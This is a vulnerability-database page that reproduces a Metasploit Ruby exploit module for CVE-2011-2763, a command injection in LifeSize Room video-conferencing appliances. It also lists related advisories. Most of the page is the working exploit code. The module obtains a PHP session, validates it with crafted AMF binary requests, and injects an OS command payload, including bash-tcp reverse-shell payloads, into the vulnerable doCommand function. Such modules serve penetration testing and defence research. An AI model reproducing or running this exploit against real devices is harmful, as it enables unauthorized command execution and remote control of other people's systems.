Lucene search
K

LifeSize Room Command Injection

🗓️ 02 Nov 2011 19:40:05Reported by Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

LifeSize Room Command Injection vulnerability in versions 3.5.3 and 4.7.18 allows OS command injection. Limited environment leads to restricted payload options

Related
Code
ReporterTitlePublishedViews
Family
0day.today
LifeSize Room Command Injection
28 Aug 201100:00
zdt
0day.today
LifeSize Room Command Injection
1 Nov 201100:00
zdt
ATTACKERKB
CVE-2011-2763
2 Sep 201100:00
attackerkb
Circl
CVE-2011-2763
28 Aug 201100:00
circl
Check Point Advisories
LifeSize Room Security Bypass and Command Injection Vulnerabilities (CVE-2011-2763)
26 Oct 201400:00
checkpoint_advisories
CVE
CVE-2011-2763
2 Sep 201116:00
cve
Cvelist
CVE-2011-2763
2 Sep 201116:00
cvelist
Exploit DB
LifeSize Room - Command Injection (Metasploit)
28 Aug 201100:00
exploitdb
Exploit DB
LifeSize Room Command Injection
2 Nov 201100:00
exploitdb
exploitpack
LifeSize Room - Command Injection (Metasploit)
28 Aug 201100:00
exploitpack
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LifeSize Room Command Injection',
      'Description'    => %q{
          This module exploits a vulnerable resource in LifeSize
        Room versions 3.5.3 and 4.7.18 to inject OS commands.  LifeSize
        Room is an appliance and thus the environment is limited
        resulting in a small set of payload options.
      },
      'Author'	=>
        [
          # SecureState R&D Team - Special Thanks To Chris Murrey
          'Spencer McIntyre',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-2763' ],
          [ 'OSVDB', '75212' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 65535,	# limited by the two byte size in the AMF encoding
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic bash-tcp',
            }
        },
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DisclosureDate' => '2011-07-13',
      'DefaultTarget'  => 0,
      'Notes'          =>
        {
          'Stability'   => [ CRASH_SAFE, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        },
    ))
  end

  def exploit
    print_status("Requesting PHP Session...")
    res = send_request_cgi({
      'encode'    => false,
      'uri'       => "/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}",
      'method'    => 'GET',
    }, 10)

    if res.nil? || res.get_cookies.empty?
      fail_with(Failure::NotFound, 'Could not obtain a Session ID')
    end

    sessionid = 'PHPSESSID=' << res.get_cookies.split('PHPSESSID=')[1].split('; ')[0]

    headers = {
      'Cookie'        => sessionid,
      'Content-Type'  => 'application/x-amf',
    }

    print_status("Validating PHP Session...")

    data  = "\x00\x00\x00\x00\x00\x02\x00\x1b"
    data << "LSRoom_Remoting.amfphpLogin"
    data << "\x00\x02/1\x00\x00\x00"
    data << "\x05\x0a\x00\x00\x00\x00\x00\x17"
    data << "LSRoom_Remoting.getHost"
    data << "\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00"

    res = send_request_cgi({
        'encode'    => false,
        'uri'       => '/gateway.php',
        'data'      => data,
        'method'    => 'POST',
        'headers'   => headers,
    }, 10)

    if not res
      fail_with(Failure::NotFound, 'Could not validate the Session ID')
      return
    end

    print_status("Sending Malicious POST Request...")

    # This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand
    amf_data =  "\x00\x00\x00\x00\x00\x01\x00\x19"
    amf_data << "LSRoom_Remoting.doCommand"
    amf_data << "\x00\x02\x2f\x37\xff\xff\xff\xff"
    amf_data << "\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}"
    amf_data << "\x02\x00\x0dupgradeStatus"

    res = send_request_cgi({
        'encode'    => false,
        'uri'       => '/gateway.php?' << sessionid,
        'data'      => amf_data,
        'method'    => 'POST',
        'headers'   => headers
    }, 10)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 27.5
EPSS0.70726
22